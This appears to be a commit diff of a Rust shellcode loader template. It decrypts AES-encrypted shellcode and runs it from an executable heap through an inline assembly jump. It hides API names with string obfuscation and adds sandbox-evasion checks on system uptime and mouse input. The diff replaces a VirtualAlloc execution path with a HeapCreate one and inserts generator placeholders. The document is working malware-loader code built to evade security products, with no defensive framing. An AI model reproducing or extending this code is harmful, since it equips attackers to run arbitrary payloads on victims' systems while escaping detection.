@@ -12,19 +12,13 @@ use hex;
12
12
use libaes:: Cipher ;
13
13
use obfstr:: obfstr as s;
14
14
use rand:: Rng ;
15
+ use winapi:: um:: heapapi:: { HeapAlloc , HeapCreate } ;
15
16
use winapi:: um:: libloaderapi:: { GetModuleHandleA , GetProcAddress } ;
16
17
use winapi:: um:: sysinfoapi:: GetTickCount ;
17
- use winapi:: um:: winnt:: { MEM_COMMIT , MEM_RESERVE , PAGE_EXECUTE_READWRITE } ;
18
+ use winapi:: um:: winnt:: { HEAP_CREATE_ENABLE_EXECUTE , MEM_COMMIT , MEM_RESERVE , PAGE_EXECUTE_READWRITE , PAGE_READONLY } ;
18
19
use winapi:: um:: winuser:: { GetCursorPos , GetLastInputInfo , LASTINPUTINFO , MOUSEMOVEPOINT } ;
19
20
use serde:: { Deserialize , Serialize } ;
20
21
21
- type CustomVirtualAlloc = unsafe extern "system" fn (
22
- lpAddress : * mut winapi:: ctypes:: c_void ,
23
- dwSize : usize ,
24
- flAllocationType : u32 ,
25
- flProtect : u32 ,
26
- ) -> * mut winapi:: ctypes:: c_void ;
27
-
28
22
#[ derive( Serialize , Deserialize ) ]
29
23
pub struct ScInfo {
30
24
base64_str : String ,
@@ -55,36 +49,15 @@ fn main() {
55
49
let shellCode = & aesShellCode;
56
50
57
51
let flen = shellCode. len ( ) ;
58
- thread:: sleep ( Duration :: from_secs ( 2 ) ) ;
59
-
60
-
61
- let Kname = hex:: decode ( s ! ( "6b65726e656c33322e646c6c" ) ) . expect ( "hex decode err" ) ;
62
- let Vname = hex:: decode ( s ! ( "5669727475616c416c6c6f63" ) ) . expect ( "hex decode err" ) ;
63
- let kernel32 = CString :: new ( Kname ) . expect ( "CString::new failed" ) ;
64
- let virtual_alloc = CString :: new ( Vname ) . expect ( "CString::new failed" ) ;
65
-
66
-
67
- let h_module = unsafe { GetModuleHandleA ( kernel32. as_ptr ( ) ) } ;
68
-
69
- // 隐藏 VirtualAlloc
70
- let fn_virtual_alloc = unsafe {
71
- mem:: transmute :: < * const ( ) , CustomVirtualAlloc > (
72
- GetProcAddress (
73
- h_module,
74
- virtual_alloc. as_ptr ( ) ,
75
- ) as * const ( ) )
76
- } ;
77
52
78
- let new_buf = unsafe { fn_virtual_alloc ( 0 as _ , flen, MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE ) } ;
79
-
80
- let new_buf_ptr_1: * mut u8 = new_buf as * mut u8 as _ ;
81
- unsafe { std:: ptr:: copy_nonoverlapping ( shellCode. as_ptr ( ) , new_buf_ptr_1, flen) } ;
82
-
83
- thread:: sleep ( Duration :: from_secs ( 2 ) ) ;
53
+ thread:: sleep ( Duration :: from_secs ( 1 ) ) ;
84
54
unsafe {
85
- let jmp_target = new_buf. offset ( 0 as isize ) ;
55
+ let heap= HeapCreate ( HEAP_CREATE_ENABLE_EXECUTE , 0 , 0 ) ;
56
+ let alloc = HeapAlloc ( heap, 8 , flen) ;
57
+ std:: ptr:: copy_nonoverlapping ( shellCode. as_ptr ( ) , alloc as * mut u8 , flen) ;
58
+ let jmp_target = alloc. offset ( 0 as isize ) ;
86
59
asm ! ( "jmp {}" , in( reg) jmp_target)
87
- } ;
60
+ }
88
61
}
89
62
90
63
pub fn aesDecrypt ( key : & String , iv : & String , ciphertext : Vec < u8 > ) -> Vec < u8 > {
@@ -94,7 +67,8 @@ pub fn aesDecrypt(key: &String, iv: &String, ciphertext: Vec<u8>) -> Vec<u8> {
94
67
95
68
pub unsafe fn analy_environment ( ) -> bool {
96
69
let tick_count = GetTickCount ( ) ;
97
- if tick_count <= 3600000 {
70
+ let v1= ${ tick_count} ;
71
+ if i64:: from ( tick_count) <= v1 && v1>0 {
98
72
println ! ( "开机时间过短" ) ;
99
73
return false ;
100
74
}
@@ -104,7 +78,10 @@ pub unsafe fn analy_environment() -> bool {
104
78
dwTime : 0 ,
105
79
} ;
106
80
last_input_info. cbSize = mem:: size_of :: < LASTINPUTINFO > ( ) as u32 ;
107
-
81
+ let v2= ${ mouse_movement_detection} ;
82
+ if !v2 {
83
+ return true ;
84
+ }
108
85
109
86
if GetLastInputInfo ( & mut last_input_info as * mut LASTINPUTINFO ) != 0 {
110
87
let last_input_time = last_input_info. dwTime ;
0 commit comments